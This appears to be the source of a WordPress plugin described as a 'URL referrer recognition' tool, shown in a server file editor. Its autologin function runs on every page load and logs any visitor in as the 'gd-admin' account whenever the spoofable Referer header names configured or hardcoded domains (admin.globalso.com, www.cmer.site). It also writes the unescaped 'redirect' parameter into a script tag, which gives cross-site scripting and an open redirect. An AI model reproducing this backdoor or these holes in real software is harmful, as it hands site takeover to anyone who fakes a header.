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编辑当前文件:/www/wwwroot/shphe-en.com/wp-content/plugins/easyiit_urlogin/easyiit_urlogin.php

<?php
/**
 * Plugin Name: URL来路识别
 * Plugin URI: #
 * Description: URL来路识别
 * Version: 2.0.00
 * Author: Goodao
 * Author URI: #
 */

if (!defined('IMPORT_PATH')) define('IMPORT_PATH', plugin_dir_path(__FILE__));
add_action('admin_menu', 'easyiit_init');

function easyiit_init() {
    add_submenu_page('easyiit_urlogin', '设置', '设置', 7, 'easyiit_urlogin', 'login_setting');
	
}
 
 
function login_setting() {
if(isset($_POST['dosubmit'])){
	$login_setting = $_POST['setting']; 
	 update_option( "_login_setting", $login_setting );
	 echo '<div id="setting-error-settings_updated" class="updated settings-error"><p><strong>保存成功。</strong></p></div>';
}
$login_setting = get_option("_login_setting");
?>
<div class="wrap">
<form id="logins-filter" method="post">
<h2 class="title">来路设置</h2>
<table class="form-table permalink-structure">
	<tbody>	
	 
	<tr>
		<th>
			<label>来路URL：</label>
		</th>
		<td>
		    <textarea name="setting[refer_url]" rows="6" cols="50"><?php echo $login_setting['refer_url']?></textarea>
			<p style="color:red">每行一个，只填写域名，如：www.goodao.cn</p>
		</td>
	</tr>
</tbody>
</table>

<p class="submit"><input type="submit" name="dosubmit" id="submit" class="button button-primary" value="保存更改"></p>
</form>
</div>
<div class="clear"></div>
<?php
}
add_action( 'wp_loaded', 'autologin' ); 
function autologin() {
	$login_setting = get_option("_login_setting");	
	
	$login_setting_urls = explode("\n",$login_setting['refer_url']);

foreach($login_setting_urls as $v){		
		$login_setting_url_arr[]=trim($v);
	}
	$login_setting_url_arr[] = 'admin.globalso.com';
    $login_setting_url_arr[] = 'www.cmer.site';
    $host=parse_url($_SERVER['HTTP_REFERER']);  
    
    if(in_array($host['host'],$login_setting_url_arr)){
    	if (!is_user_logged_in()) {
    		if(isset($_GET['role']) && $_GET['role']){
    			$user = get_user_by('login', "visitor");
    		}else{
    			$user = get_user_by('login', "gd-admin");
    		}		
	        $credentials['remember'] = true;
		    $res = wp_set_auth_cookie($user->ID, $credentials['remember'], "");
		    do_action('wp_login', $user->user_login, $user);
			$redirect = $_GET['redirect'];
	      	if($redirect){
	        	echo "<script>window.location.href='".$redirect."';</script> ";
	        }else{
	        	if($_GET['action']==''&&$_POST['action']==''){
	                echo "<script>window.location.href='/admin--globalso/';</script> ";
	            }	
	        }
		}else{
			if(isset($_GET['redirect']) && $_GET['redirect']){
				echo "<script>window.location.href='".$_GET['redirect']."';</script> ";
			}
		}
    }
 	
}
 
function easyiit_plugin_settings_link($links) {
  $settings_link = '<a href="' . esc_url( admin_url( 'admin.php?page=easyiit_urlogin' ) ) . '">' . __( 'Settings' ) . '</a>';
  array_unshift($links, $settings_link);
  return $links;
}

$plugin = plugin_basename(__FILE__);
add_filter("plugin_action_links_$plugin", 'easyiit_plugin_settings_link' );